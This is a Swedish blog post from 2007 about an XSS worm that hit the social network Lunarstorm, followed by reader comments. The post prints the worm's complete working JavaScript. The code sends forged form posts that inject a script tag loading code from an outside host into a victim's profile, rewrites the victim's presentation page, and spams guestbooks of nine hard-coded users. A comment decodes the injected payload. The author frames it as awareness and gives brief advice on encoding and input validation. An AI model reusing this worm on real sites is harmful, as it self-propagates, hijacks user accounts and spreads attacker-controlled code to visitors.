Lunarstorm utsatt för attack

2007-07-15 15:02 | Kategorier » IT-säkerhet, Webb,

Lunarstorm har i natt råkat ut för en XSS-attack. XSS står för ”Cross site scripting” och innebär förenklat att man kan få kod från andra ställen att köras på en sida. Hålet är nu fixat och de drabbade kontona är återställda.

Masken spred sig genom att man besökte en presentation som redan var ”smittad”, det ledde till att ett script kördes som direkt ändrade ens presentation och lade till sig självt även där. Ovanpå detta så skickades även gästboksinlägg till nio användare, varför det är rimligt att anta att skaparen hade något emot just dessa.

Det är i mina ögon uppseendeväckande att en så stor sida som Lunarstorm inte hade högre säkerhet vad gäller sådant här. Något av det första man som webbprogrammerare ser till att skydda sig mot är attacker av det här slaget.

Nedanför följer attackkoden som användes mot Lunarstorm. Orsaken att jag publicerar denna är att fler ska få upp ögonen för vad XSS är och hur man kan skydda sig mot det. Jag ansvarar inte för vad ni gör med koden! Det är inte heller jag som har kodat masken och inte heller är det jag som ligger bakom attacken, bara så att det inte råder det minsta tvivel om det.

var xmlhttp=false;

/*@cc_on @*/
/*@if (@_jscript_version >= 5)
// JScript gives us Conditional compilation, we can cope with old IE versions.
// and security blocked creation of the objects.
  try {
  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  } catch (e) {
   try {
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
   } catch (E) {
    xmlhttp = false;
   }
  }
@end @*/

if(window.ActiveXObject) //Detta är för Internet Explorer
{
  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
/*if (!xmlhttp && typeof XMLHttpRequest!='undefined')*/
else {
  xmlhttp = new XMLHttpRequest();
}

    var r4ndomnr=Math.floor(Math.random()*5);
    var randomnr=Math.floor(Math.random()*9);

    var gbtext=new Array(5)
     gbtext[0]="Fan va bra du " + unescape("%E4") + "r! :O";
     gbtext[1]="H" + unescape("%F6") + "rru d" + unescape("%F6") + "rru vart la du sillburken?";
     gbtext[2]="Det var en g" + unescape("%E5") + "ng en gris, men den grisen finns inte mer";
     gbtext[3]=unescape("%E4") + "re n" + unescape("%F6") + "tarNNnNnNNN^.";
     gbtext[4]="En kebab, eller kanske tv" + unescape("%E5") + "?";

    var gbuser=new Array(9)
     gbuser[0]="{116eb464-606c-4eae-8443-3edf029d3616}";
     gbuser[1]="{d1589118-6869-4146-8d7d-6ed5fc6b134c}";
     gbuser[2]="{c8c39ddd-b646-44db-ba91-af4833f67570}";
     gbuser[3]="{09084660-84CF-4FD1-9953-D98D6487496A}";
     gbuser[4]="{88CB53D0-8961-4D4B-8DF9-E9387A8FEEEA}";
     gbuser[5]="{9162CB93-99AA-4888-AFCC-D917328EC174}";
     gbuser[6]="{8B496A22-C65E-4451-BAE9-E0EA6D92B869}";
     gbuser[7]="{2515B502-3FAB-4258-9B1B-90BE999C7318}";
     gbuser[8]="{B7197B42-DE49-4449-B604-530403BDAC11}";

function stop(){
}

function sendgb(){
  if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
      {
        var pd;

        pd="__EVENTTARGET=sendGuestbook%3A_ctl5%3AbtnSend%3AbtnSend_a&__EVENTARGUMENT=&__VIEWSTATE=dDwxOTk4MzY2NzUzO3Q8cDxsPGZj";
        pd+="O2NwO291O3BpO29pO3VuO3NtO21sO2hwO21jOz47bDxTeXN0ZW0uQnl0ZSwgbXNjb3JsaWIsIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1u";
        pd+="ZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5PDA%2BOzUwPDE%2BO288Zj47NTA8MD47U3lzdGVtLkd1aWQsIG1zY29ybGli";
        pd+="LCBWZXJzaW9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxjZTMzYzFhNi03Mjhm";
        pd+="LTQ4MmItYjE5Mi1iN2IyODYzOTQwZmU%2BO2dvb29vb2Q7XGU7aTwxPjtvPGY%2BO2k8MT47Pj47bDxpPDA%2BOz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwxPjtpPD";
        pd+="M%2BOz47bDx0PDtsPGk8MT47aTw3PjtpPDk%2BOz47bDx0PHA8bDxUZXh0Oz47bDxnb29vb29kcyBHw6RzdGJvaywgMSBpbmzDpGdnOz4%2BOzs%";
        pd+="2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs%2BO2w8bzx0Pjs%2BPjtsPGk8MT47PjtsPHQ8cDxsPFRleHQ7Pj";
        pd+="tsPGdvb29vb2QgaGFyIGludGUgZsOldHQgbsOlZ3JhIGfDpHN0Ym9rc2lubMOkZ2cgw6RuLiA9KDs%2BPjs7Pjs%2BPjs%2BPjt0PDtsPGk8MT47";
        pd+="aTwxMz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDE%2BOz47bDx0PDtsPGk8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDE1PjtpPDE3PjtpPDE5";
        pd+="PjtpPDIxPjtpPDIzPjtpPDI1PjtpPDI3PjtpPDM1Pjs%2BO2w8dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzgxJyk7Pj47Oz47";
        pd+="dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzgyJyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzgz";
        pd+="Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzg0Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpj";
        pd+="VGhlbWUoJzg1Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzg2Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2";
        pd+="YXNjcmlwdDpjVGhlbWUoJzg3Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzg4Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNj";
        pd+="cmlwdDpjVGhlbWUoJzg5Jyk7Pj47Oz47dDxwPGw8aHJlZjs%2BO2w8amF2YXNjcmlwdDpjVGhlbWUoJzkwJyk7Pj47Oz47dDxwPGw8c3JjOz47bD";
        pd+="wuLi9fZ2Z4L3RoZW1lL3NtYWxsL2Jhc2U3LmdpZjs%2BPjs7Pjt0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPFRleHQ7";
        pd+="PjtsPFNraWNrYSZuYnNwXDtpbmzDpGdnOz4%2BOz47Oz47Pj47Pj47Pj47Pj47Pj47Pj47dDxwPHA8bDxGYXZvcml0ZXM7PjtsPDUwPDA%2BOz4%2BOz47Oz47Pj47Pj";
        pd+="47Pj47Pj47PtSQQQJsfmCi%2FQXr6%2FP92lpV4dkr&sendGuestbook%3AtxtBuis%3A_txtTextBox=";
        pd+=encodeURI(gbtext[r4ndomnr]);
        pd+="&sendGuestbook%3AhidTheme=";

        loadXMLDoc("/gst/gst_guestbook.aspx?userid="+gbuser[randomnr],pd,changepress);
      }
  }

function changepress(){
  if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
      {
        var pd;
        /*
        pd="__EVENTTARGET=_ctl22%3AbtnPreview%3AbtnPreview_a&__EVENTARGUMENT=&__VIEWSTATE=dDw2NzY5NjU4NTt0PDtsPGk8MD47PjtsPHQ8O2w8aTwxMz47";
        pd+="aTwxNT47aTwxNz47PjtsPHQ8O2w8aTwxPjs%2BO2w8dDxwPGw8b25zdWJtaXQ7PjtsPHJldHVybiB2YWxpZGF0ZSgpOz4%2BO2w8aTwzPjs%2BO2w8dDxwPGw8VmlzaW";
        pd+="JsZTs%2BO2w8bzx0Pjs%2BPjtsPGk8MT47aTwyPjtpPDY%2BOz47bDx0PHA8bDxWaXNpYmxlOz47bDxvPHQ%2BOz4%2BOzs%2BO3Q8O2w8aTwxMz47aTwyOT47aTwzMT47PjtsPHQ8cDw7cD";
        pd+="xsPG9uQ2xpY2s7PjtsPHVwZGF0ZUJvb2xWYWxzKCdjaGJQaG90b1RvUmlnaHQnLCB0aGlzLmNoZWNrZWQpXDs7Pj4%2BOzs%2BO3Q8O2w8aTwzPjs%2BO2w8dDw7bDxp";
        pd+="PDE%2BO2k8Mz47PjtsPHQ8cDw7cDxsPG9uY2xpY2s7PjtsPGphdmFzY3JpcHQ6IERpdlBvcChiZ1NvdW5kMSlcOzs%2BPj47Oz47dDxwPDtwPGw8b25jbGljazs%2BO2";
        pd+="w8amF2YXNjcmlwdDogRGl2UG9wKGJnU291bmQyKVw7Oz4%2BPjs7Pjs%2BPjs%2BPjt0PDtsPGk8Mz47PjtsPHQ8O2w8aTwxPjs%2BO2w8dDx0PHA8O3A8bDxvbmNoYW5nZTs%2BO2w8amF2";
        pd+="YXNjcmlwdDogQ2hhbmdlRHJvcERvd25NVCgpXDs7Pj4%2BOzs%2BOzs%2BOz4%2BOz4%2BOz4%2BO3Q8O2w8aTwyPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PDtsPGk8MD47PjtsPHQ8cDxw";
        pd+="PGw8VGV4dDs%2BO2w8RsO2cmhhbmRzZ3JhbnNrbmluZw0KOz4%2BOz47Oz47Pj47Pj47Pj47Pj47Pj47Pj47dDw7bDxpPDE%2BOz47bDx0PHA8bDxWaXNpYmxlOz47bD";
        pd+="xvPHQ%2BOz4%2BOzs%2BOz4%2BO3Q8cDxsPFRleHQ7PjtsPE5vcm1hbGl6ZSgnaGV4JylcOzs%2BPjs7Pjs%2BPjs%2BPjs%2BZkk9eSmxt66riAu%2B2Wmss4EzRXM%3D";
        pd+="&txtBody=";
        pd+=encodeURI("Dezek, grisris, sillburken <3");
        */

        pd="__EVENTTARGET=btnSaveChanges%3AbtnSaveChanges_a&__EVENTARGUMENT=&__VIEWSTATE=dDw2NzY5NjU4NTt0PHA8bDxoaWRCb2R5U";
        pd+="mF3O2RkbFNvdW5kQ2xpcDs%2BO2w8RGV6M2sgXDwzIFBpcmF0ZSdzITtcZTs%2BPjtsPGk8MD47PjtsPHQ8O2w8aTwxMz47aTwxNT47aTwxNz47P";
        pd+="jtsPHQ8O2w8aTwxPjs%2BO2w8dDxwPGw8b25zdWJtaXQ7PjtsPHJldHVybiB2YWxpZGF0ZSgpOz4%2BO2w8aTwzPjtpPDU%2BOz47bDx0PHA8bDxWaXNpYmxlOz47bDx";
        pd+="vPGY%2BOz4%2BO2w8aTwxPjtpPDI%2BO2k8Nj47PjtsPHQ8cDxsPFZpc2libGU7PjtsPG88dD47Pj47Oz47dDw7bDxpPDEzPjtpPDI5PjtpPDMxP";
        pd+="js%2BO2w8dDxwPDtwPGw8b25DbGljazs%2BO2w8dXBkYXRlQm9vbFZhbHMoJ2NoYlBob3RvVG9SaWdodCcsIHRoaXMuY2hlY2tlZClcOzs%2BPj4";
        pd+="7Oz47dDw7bDxpPDM%2BOz47bDx0PDtsPGk8MT47aTwzPjs%2BO2w8dDxwPDtwPGw8b25jbGljazs%2BO2w8amF2YXNjcmlwdDogRGl2UG9wKGJnU";
        pd+="291bmQxKVw7Oz4%2BPjs7Pjt0PHA8O3A8bDxvbmNsaWNrOz47bDxqYXZhc2NyaXB0OiBEaXZQb3AoYmdTb3VuZDIpXDs7Pj4%2BOzs%2BOz4%2BOz4%2BO3Q8O2w8aTw";
        pd+="zPjs%2BO2w8dDw7bDxpPDE%2BOz47bDx0PHQ8cDw7cDxsPG9uY2hhbmdlOz47bDxqYXZhc2NyaXB0OiBDaGFuZ2VEcm9wRG93bk1UKClcOzs%2BP";
        pd+="j47Oz47Oz47Pj47Pj47Pj47dDw7bDxpPDI%2BOz47bDx0PDtsPGk8MD47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDxwPHA8bDxUZXh0Oz47bDxGw7Zya";
        pd+="GFuZHNncmFuc2tuaW5nDQo7Pj47Pjs7Pjs%2BPjs%2BPjs%2BPjs%2BPjt0PHA8bDxWaXNpYmxlOz47bDxvPHQ%2BOz4%2BO2w8aTwzPjtpPDQ%2BO2k8NT47PjtsPHQ";
        pd+="8O2w8aTw1PjtpPDc%2BOz47bDx0PHA8bDxUZXh0Oz47bDwxODs%2BPjs7Pjt0PHA8bDxUZXh0Oz47bDwyMDAwMDs%2BPjs7Pjs%2BPjt0PDtsPGk";
        pd+="8MT47aTwzPjs%2BO2w8dDxwPGw8dXNlcklEO2dlbmRlcjtwaWN0dXJlO3VzZXJuYW1lO2JpcnRoRGF0ZTs%2BO2w8U3lzdGVtLkd1aWQsIG1zY29";
        pd+="ybGliLCBWZXJzaW9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxjZTMzYzFhNi0";
        pd+="3MjhmLTQ4MmItYjE5Mi1iN2IyODYzOTQwZmU%2BO288Zj47aTwwPjtnb29vb29kO1N5c3RlbS5EYXRlVGltZSwgbXNjb3JsaWIsIFZlcnNpb249M";
        pd+="S4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5PDE5ODYtMDQtMDQ%2BOz4%2BOzs%2BO3Q";
        pd+="8cDxsPFRleHQ7PjtsPERlejNrICZsdFw7MyBQaXJhdGUncyE7Pj47Oz47Pj47dDw7bDxpPDE%2BO2k8Mz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDx";
        pd+="wPHA8bDxUZXh0Oz47bDzDhG5kcmENCjs%2BPjs%2BOzs%2BOz4%2BO3Q8O2w8aTwwPjs%2BO2w8dDxwPHA8bDxUZXh0Oz47bDxTcGFyYSZuYnNwX";
        pd+="Dtmw7Zyw6RuZHJpbmdhcg0KOz4%2BOz47Oz47Pj47Pj47Pj47Pj47Pj47dDw7bDxpPDE%2BOz47bDx0PHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOzs%2BOz4%2BO3Q8cDxsPFRleHQ7P";
        pd+="jtsPEluaXRQcmV2aWV3KClcOzs%2BPjs7Pjs%2BPjs%2BPjs%2Bg2aHZwq703N3OpvAAhWxjK5MbYU%3D&hidStatusMessage=&hidHeight=128";

        loadXMLDoc("/set/set_presentation.aspx",pd,stop);
      }
  }

function injectscript(){
  if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
      {
        var pd;
        pd="__EVENTTARGET=Buttons1%3AbtnSave%3AbtnSave_a&__EVENTARGUMENT=";
        pd+="&__VIEWSTATE=dDwtMTI5NjAyNzE5Ozs%2BZlKIxAVJgXhhZ8sZa4X73mExPZ4%3D&hdAvId=av0";
        pd+="&hidStatusMessage=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++";
        pd+="&hidHasPhoto=0&geoCountry=231&geoCity=1163&geoRegion=17&txtCityArea=&txtHomepage=";
        pd+="www.hamsterpaj.net%2Fforum%2Fhamsterpaj%2Fallmaent_om_hamsterpaj%2Ffoersvarstal_foer_forumet%2F%22%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2Fkoppiem.awardspace.com%2Fscript.js%3E%3C%2Fscript%3E%3Ca";
        pd+="&txtIcqNumber=&txtMsnMessenger=";
        pd+=encodeURI("Dezek Grisris sillburken <3");;
        pd+="&txtSkype=&ddlA1=0";
        pd+="&ddlA2=0&ddlA3=0&ddlA4=0&ddlA5=0&ddlA6=0&ddlA7=0&ddlA8=0&ddlA9=0";
        loadXMLDoc("/set/set_public.aspx",pd,sendgb);

      }
  }

var ie;
function loadXMLDoc(url,foo,func) {
   ie= document.all?true:false

    if(foo=="")
    {
      xmlhttp.open("GET",url, true);
      xmlhttp.onreadystatechange = func;
      xmlhttp.send(null);
    }
    else
    {
      xmlhttp.open("POST",url, true);
      xmlhttp.onreadystatechange = func;
      xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      xmlhttp.send(foo);
    }

}

loadXMLDoc("/set/set_public.aspx","",injectscript);

Hur kunde Lunarstorm skyddat sig mot detta? Enkelt, genom att helt enkelt se över vilka värden man tar emot i sina fält. Genom att inte skriva ut data utan att ha HTML-kodat den. Hade dessa två enkla regler följts så skulle masken inte kunnat sprida sig.

Gravatar
|
Niklas Fors — 2007-07-15 15:09

”Det är i mina ögon uppseendeväckande att en så stor sida som Lunarstorm inte hade högre säkerhet vad gäller sådant här.”
Det här är en bugg, någonting de har missat. Jag tror faktiskt att deras programmerare är medvetna om vad XSS är för någonting. Min poäng är alltså att det nog inte beror på okunskap, utan på ett mänskligt misstag.

Gravatar
|
Kristoffer — 2007-07-15 15:26

Nicklas: Jo, jag vet att det är en bugg, eller snarare en brist. ALLA attacker grundar sig på någon form av buggar eller brister, fanns det ingen bugg eller brist att attackera så skulle inga sådana här attacker genomföras. 😉

Attacker av den typen som Lunarstorm i natt blev utsatt för är något av det första man ser till att skydda sig mot i samma stund som man tillåter användare att mata in värden.

Någonstans har det med andra ord brustit i deras säkerhetskontroller, vilket i förlängningen innebär just att säkerheten blir lägre. När sådana missar görs på etablerade och stora sidor är det så klart uppseendeväckande (åtminstone i mina ögon).

Tack för din synpunkt 🙂

Gravatar
|
Niklas Fors — 2007-07-15 17:46

Kristoffer: Jo, visst bör man väl säkerställa kvalitén på koden genom speciella rutiner. Nu är jag inte särskilt erfaren av just detta, men jag gissar på att Lunarstorm har någon form av rutiner för detta. Men vi är människor och då händer det faktiskt att vi gör fel, oavsett om det finns rutiner som egentligen skall stoppa det.

Som du vet så är det förhållandevis vanligt med säkerhetshål. Kolla bara på masken som spred sig på Myspace. Den siten om någon borde ju ha riktiga rutiner för att det inte skall finnas några säkerhetsluckor. Men ändå hände det, och jag gissar på att svaret på varför det hände är den mänskliga faktorn. Det är människan som gör fel.

Jag har själv skrivit en hel del kod för webben på min fritid. Jag driver en liten site som har en del användare och besökare. Och jag vet själv hur lätt det kan vara att råka missa en sådan här sak. Nu är det väl skillnad om man sitter på fritiden och arbetar med det. Men i vilket fall som helst är det rätt lätt hänt att man råkar missa en sak.

Men du har rätt, det borde inte förekomma. Sedan hur man skall lösa det så att det absolut inte förekommer är ju en annan fråga. Jag skulle kunna gissa på att det oftast rör sig om ekonomi, att företaget inte vill lägga mer pengar på det.

Gravatar
|
Kristoffer — 2007-07-15 19:03

Nickas: Grejen med just den här svagheten är att det är något man kan skydda sig mot väldigt lätt och det är också något av det första man som webbprogrammerare kontrollerar. Jag blev mycket förvånad när jag hörde talas om masken som härjade på Myspace med, även den inte berör mig personligen på samma sätt. Att det inte är ont om säkerhetshål och -brister är något jag är mycket medveten om, mina studier i IT-säkerhet har tagit min paranoia till ännu högre nivåer… =)

Alla säkerhetshål beror på den mänskliga faktorn. Någonstans är det nämligen en människa som har lyckats förbise kontruktionsmissen.

Att lösa det hela är lätt: Lita inte på användaren, kontrollera deras inmatning. 🙂

Gravatar
|
Code Odyssey » XSS-attacken mot Lunarstorm — 2007-07-16 01:53

[…] Via kommentarerna hos IDG hittade jag även en länk till gate 303 som också skriver om attacken och visar upp själva koden som användes. […]

Gravatar
|
Ola — 2007-07-16 09:33

Anledningen till varför det va missat är för att funktionen som kodade om länkar till klickbara länkar va fel. Så om man skrev ”http://www.länk.seertc” utan mellanslag så plockade den med scriptet. Mao ett misstag som tagit 4år att hitta för kidsen.

Gravatar
|
John — 2007-07-16 15:15

Kristoffer du kanske kan skriva en artikel om hur Lunarstorm skulle kunna skydda sig? Det ger väl mer än att bara ge script kiddies mer kod att leka med?

Gravatar
|
Kristoffer — 2007-07-16 15:41

John: I slutet av artikeln skrev jag ”Hur kunde Lunarstorm skyddat sig mot detta? Enkelt, genom att helt enkelt se över vilka värden man tar emot i sina fält.”, kanske får lägga till lite till där.

Det är möjligt att jag skriver en mer ingående artikel om XSS-attacker framöver däremot, då det fortfarande är ett mycket vanligt attacksätt.

Gravatar
|
maria johansson — 2007-07-16 23:36

de flesta har sädana kommentarer här, angående säkerheten hos lunarstorm.ifrågande borde vara vad för slags idioter ursäkta ordvalet,som bara är ute efter att förstöra.svenska avundsjukan, har gjort sig påmind igen.

Gravatar
|
maria johansson — 2007-07-16 23:53

det finns alltid kryphål, i säkerhet,lunarstorm har säkert tänkt säkerhet.kristoffer o john o ola o niklas, ni verkar ju vara så insatta, kanske skulle ni kunna driva sveriges största ungdomschat.

Gravatar
|
Kristoffer — 2007-07-17 00:24

Maria: Det är klart att man ifrågasätter säkerhetsarbetet när det visar sig att en attack av det här slaget är möjlig. Det hade varit en barnlek att skydda sig mot den. Någonstans har säkerhetsrutinerna brustit rejält, den saken är klar. Det är fullt möjligt att jag (och kanske även de andra) skulle kunna bidra till en höjd nivå av säkerhet, men det är inte aktuellt i den här diskussionen.

Att säga att det alltid finns kryphål är fel, däremot kan man säga att risken för att det finns någon form av kryphål är ganska stor. Det här hålet är däremot av en oerhört låg nivå. Det ska helt enkelt inte finnas på en så stor sida som Lunarstorm är.

Att det här har med någon sorts ”svensk avundsjuka” är nog däremot ett felaktigt antagande 🙂

Gravatar
|
maria johansson — 2007-07-17 16:10

vad jag menar är att den sajten, som blev indragen,yttrande var ganska simpelt hade ingen skuld i detta.men hade gärna sett att lunarstorm gick i konkurs,vad kallar man det, läst artiklarna i aftonbladet, hallands nyheter, har ni

Gravatar
|
Kristoffer — 2007-07-17 18:09

Maria, bitvis är det svårt att utläsa exakt vad du menar, men jag ska försöka mitt bästa.

Ägaren till Hamsterpaj har uttryckt att han gärna skulle se att Lunarstorm går i konkurs ja. Jag tror inte att så många företag skulle bli ledsna om de ser sin största konkurrent försvinna. Så det finns, enligt mig, inget särskilt anmärkningsvärt i uttalandet i sig. Däremot kan man kanske anse att det var lite klumpigt formulerat.

Gravatar
|
Jesper — 2007-07-18 02:16

Kristoffer, du gjorde absolut inget fel i att återpublicera denna koden. Det är bara bra så att andra utvecklare kan studera hur en XSS-mask fungerar.

Men någon som vet exakt vad som brast i säkerheten? Ola skriver om att det var fel på deras länkningsskript, men hur kunde det möjliggöra att man kunde köra javascript från en extern url?

På min blogg fick jag ett tips om att skriptet eventuellt kördes här ifrån: http://pastebin.com/m439d0918 Nån som kan bekräfta det?

Gravatar
|
Kristoffer — 2007-07-18 14:59

Jesper: Tack för stödet! =)
Det som brast i säkerheten här var att Lunarstorm skrev ut hemsidelänken precis som den blivit inskriven, utan att göra om det hela till HTML-kod.

Om du tittar i koden, under funktionen function injectscript() så ser du på femte raden där pd får ett värde tilldelat att variabeln ”txtHomepage” (den återfinns i slutet på raden ovanför) sätts till ett värde som bland annat innehåller ”www.hamsterpaj.net” och sedan bitvis en hel del konstiga kombinationer med % i början av dem. Detta är alltså URL-kodade tecken. Kör man hela den strängen genom en funktion som gör om dem till vanliga tecken får man fram raden: ”www.hamsterpaj.net/forum/hamsterpaj/allmaent_om_hamsterpaj/foersvarstal_foer_forumet/”><script /src=http://koppiem.awardspace.com/script.js></script><a”

I strängen ingår alltså tecken som får själva länk-taggen att avslutas och att en komplett script-tag läggs in.

Hoppas att detta bidrog med lite ljus till situationen =)

Gravatar
|
wally — 2007-07-20 23:19

Snyggt skript!

Du kunde gjort det lite snyggare när du skapar en XMLHttpRequest men annars måste jag säga att det ser snyggt ut.

Hur lång tid tog det från idé till utförande?

Mvh Waldemar

Gravatar
|
Kristoffer — 2007-07-21 09:56

Wally: Det är inte jag som har gjort scriptet =)
Scriptet är däremot exakt detsamma som det som användes mot Lunarstorm, jag har med det här för demonstrationssyfte

Gravatar
|
wally — 2007-07-21 18:58

Jaha. Trodde det… Hade inte läst igenom det så noggrant men jag menade väl han som skrivit koden 😉

Gravatar
|
Mikael — 2008-05-04 23:08

Hej, Jag tycker att det är fantastikt att ni diskuterar ämnet när ni inte vet att bug stavas bug och inte ”bugg”. Läs på lite mer. Att veta vad XSS är inga problem.

Lämna en kommentar


Regler för kommentarer på Gate 303

Creeper MediaCreeper